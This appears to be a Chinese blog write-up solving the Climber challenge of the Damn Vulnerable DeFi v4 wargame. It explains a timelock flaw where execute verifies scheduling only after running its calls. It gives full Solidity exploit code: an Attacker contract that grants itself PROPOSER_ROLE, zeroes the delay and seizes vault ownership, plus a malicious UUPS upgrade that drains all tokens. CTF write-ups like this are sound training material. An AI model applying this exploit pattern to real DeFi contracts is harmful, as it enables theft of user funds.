Damn-vulnerable-defi-V4-solution(Climber)
一、Climber
背景
在 Damn Vulnerable DeFi v4 系列挑战里,Climber 是一道考察 UUPS 升级代理、Timelock 调度器 和 权限管理绕过 的综合题。
合约设计大意是这样的:
- ClimberVault:一个基于 UUPS 代理模式 的金库合约,存放了大量代币,只有合约 owner 能执行升级。
- ClimberTimelock:一个时间锁合约,保护 Vault 的关键操作。要想执行某些管理操作,必须通过 Timelock 里的 execute 调用,并且在调用前有一个 schedule 延迟队列。
- 权限设计:只有 PROPOSER_ROLE 能调用 schedule,并且 Vault 的 owner 在初始化时交给了 Timelock,意味着玩家初始状态下什么都做不了。
目标是:绕过 Timelock 的延迟限制,把 Vault 的实现升级为攻击合约,然后把金库里的代币转走。
漏洞点分析
仔细阅读 ClimberTimelock 的逻辑,会发现几个关键点:
execute 与 schedule 的顺序问题
- execute 会在执行完所有目标合约调用之后,才去检查任务是否在 schedule 里。
- 这意味着如果你能在 execute 执行的过程中“顺手”调用 schedule,那么检查时就会发现任务已经被调度过,条件满足,导致校验通过。
- 这是一个典型的 顺序设计漏洞。
权限修改逻辑过于宽松
你可以在一次 execute 事务中调用多步操作,比如:
- 赋予攻击者 PROPOSER_ROLE。
- 将延迟时间设置为 0。
- 把 Vault 的所有权转给自己。
- 最后调用 schedule(由攻击者合约提供)。
- 因为所有操作都在同一个 execute 中完成,所以 Timelock 自己的安全性被绕过。
UUPS 可升级漏洞
- 一旦你获得 Vault 的所有权,就能调用 upgradeToAndCall 把实现合约换成攻击者实现,写一个带有 withdrawAll 的新合约即可转走代币。
攻击流程
整个攻击分为四步:
部署攻击合约 Attacker
攻击合约在构造函数里就准备好了一套 targets 和 elements(也就是要执行的调用),包括:
- 给自己加上 PROPOSER_ROLE。
- 把延迟时间设为 0。
- 把 Vault 的所有权交给玩家。
- 调用自身的 timelockSchedule() 来补上 schedule。
调用 timelockExecute()
通过 Timelock 的 execute 执行这套调用。
在第 4 个步骤时,攻击合约内部再调用 schedule,这样 execute 的最后检查不会失败。
升级 Vault
攻击者部署一个 PawnedClimberVault(继承自原始 ClimberVault,额外加上一个 withdrawAll 函数)。
然后调用 upgradeToAndCall 把 Vault 的实现升级成攻击版本。
提取资金
调用 withdrawAll(token, receiver) 把所有代币转到自己的地址,攻击完成。
function test_climber() public checkSolvedByPlayer {
Attacker attacker = new Attacker(payable(timelock), address(vault));
attacker.timelockExecute();
PawnedClimberVault newVaultImpl = new PawnedClimberVault();
vault.upgradeToAndCall(address(newVaultImpl), "");
PawnedClimberVault(address(vault)).withdrawAll(address(token), recovery);
}contract Attacker {
address payable private immutable timelock;
uint256[] private _values = [0, 0, 0, 0];
address[] private _targets = new address[](4);
bytes[] private _elements = new bytes[](4);
constructor(address payable _timelock, address _vault) {
timelock = _timelock;
_targets = [_timelock, _timelock, _vault, address(this)];
_elements[0] =
(abi.encodeWithSignature("grantRole(bytes32,address)", keccak256("PROPOSER_ROLE"), address(this)));
_elements[1] = abi.encodeWithSignature("updateDelay(uint64)", 0);
_elements[2] = abi.encodeWithSignature("transferOwnership(address)", msg.sender);
_elements[3] = abi.encodeWithSignature("timelockSchedule()");
}
function timelockExecute() external {
ClimberTimelock(timelock).execute(_targets, _values, _elements, bytes32("123"));
}
function timelockSchedule() external {
ClimberTimelock(timelock).schedule(_targets, _values, _elements, bytes32("123"));
}
}contract PawnedClimberVault is ClimberVault {
function withdrawAll(address tokenAddress, address receiver) external onlyOwner {
// withdraw the whole token balance from the contract
DamnValuableToken token = DamnValuableToken(tokenAddress);
require(token.transfer(receiver, token.balanceOf(address(this))), "Transfer failed");
}
} 当前页面是本站的「Google AMP」版。查看和发表评论请点击:完整版 »